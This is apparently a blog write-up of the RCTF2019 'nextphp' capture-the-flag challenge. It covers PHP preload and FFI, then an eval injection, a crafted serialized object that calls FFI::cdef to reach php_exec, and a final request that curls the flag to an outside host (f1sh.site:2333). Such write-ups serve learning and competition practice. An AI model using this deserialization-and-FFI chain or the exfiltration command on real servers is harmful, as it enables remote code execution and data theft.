• RCTF2019 next_php


    RCTF2019 nextphp

    PHP的预加载机制(preload)

    PHP7.4版本,加入了预加载功能(preload)

    一般PHP代码执行过程如下:

    词法、语法分析->编译->加载编译代码->执行

    而函数预加载则是发生在加载编译代码时,预加载能够将框架,或者是类库预加载到内存中,以进一步提高性能

    因此在preload机制中,php文件中定义的所有函数和大多数类都将永久加载到PHP的函数和类表中,并在将来的任何请求的上下文中永久可用

    PHP的scandir()函数

    scandir()函数能返回指定目录中的文件和目录的数组

    例如:

    列出 images 目录中的文件和目录
    <?php
    $dir = "/images/";
    
    // 以升序排序 - 默认
    $a = scandir($dir);
    
    // 以降序排序
    $b = scandir($dir,1);
    
    print_r($a);
    print_r($b);
    ?>
    

    结果:

    Array
    (
    [0] => .
    [1] => ..
    [2] => cat.gif
    [3] => dog.gif
    [4] => horse.gif
    [5] => myimages
    )
    Array
    (
    [0] => myimages
    [1] => horse.gif
    [2] => dog.gif
    [3] => cat.gif
    [4] => ..
    [5] => .
    )
    

    PHP file_get_contents() 函数

    file_get_contents()函数把整个文件读入一个字符串中

    例:

    <?php
    echo file_get_contents("test.txt");
    ?>
    结果输出txt内容:
    This is a test file with test text.
    

    PHP FFI

    对于PHP,FFI提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。

    然后,我们需要告诉PHP FFI我们要调用的函数原型是咋样的,这个我们可以使用FFI :: cdef,它的原型是:

    FFI :: cdef ([ string $ cdef  =  “”  [, string $ lib  = null ]]): FFI
    

    在字符串$ cdef中,我们可以写C语言函数式申明,FFI会parse它,了解到我们要在字符串$ lib这个库中调用的函数的签名是怎样的

    RCTF2019 nextphp

    如图

    Avatar

    eval函数接收a,但是没有对其进行过滤,存在命令执行漏洞

    ?a=phpinfo+();
    

    Avatar

    Avatar

    仔细查看phpinfo()文件,里面存在

    opcache.preload = /var/www/html/preload.php
    FFI support = enabled
    

    预加载,以及FFI。FFI的原理是在php中可以调用c语言中的库,因此可以借助c语言去命令执行

    如果我们调用scandir函数扫描根目录

    ?a=var_dump(scandir('/var/www/html'));
    

    就会出现根目录的文件

    Avatar

    注意到这里有preload.php文件,我们使用file_get_contents读取

    ?a=echo file_get_contents('preload.php');
    
    <?php
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
    		'func' => 'print_r',
    		'arg' => '1'
    	];
    
    private function run () {
    	$this->data['ret'] = $this->data['func']($this->data['arg']);
    	}
    
    public function __serialize(): array {
    	return $this->data;
    	}
    
    public function __unserialize(array $data) {
    	array_merge($this->data, $data);
    	$this->run();
    	}
    
    public function serialize (): string {
    	return serialize($this->data);
    	}
    
    public function unserialize($payload) 
    	{$this->data = unserialize($payload);
    	$this->run();
    	}
    
    public function __get ($key) {
    	return $this->data[$key];
    	}
    
    public function __set ($key, $value) {
    	throw new Exception('No implemented');
    	}
    
    public function __construct () {
    	throw new Exception('No implemented');
    	} 
    } 
    

    由于FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数
    构造payload:

    <?php
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',
            'arg' => "int php_exec(int type, char *cmd);"
        ];
    
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
        public function __construct () {
        }
    }
    
    $a = new A;
    echo serialize($a);
    

    最后反序列化执行得到flag

    ?a=$a=unserialize('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}');var_dump($a->ret->php_exec(2,'curl%20f1sh.site:2333/`cat%20/flag`'));
    

    Reference

    *https://blog.csdn.net/qq_41683305/article/details/103439126
    *https://blog.csdn.net/qq_41809896/article/details/90384668
    *https://www.codercto.com/a/80346.html
    *https://www.codercto.com/a/79955.html
    *https://my.oschina.net/u/4479011/blog/3214893

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    表变量与临时表
    表单提交原理
    C_Free引用链接库
    禁用ViewState(转)
    jquery设置元素的readonly和disabled
    WebService经验分享
    如何给GridView添加滚动条 收藏
    bcp+Sql语句抽取数据导出
    List<T>的排序
    AppDomain与动态加载程序集
  • 原文地址:https://www.cnblogs.com/echoDetected/p/12750075.html
Copyright © 2020-2023  润新知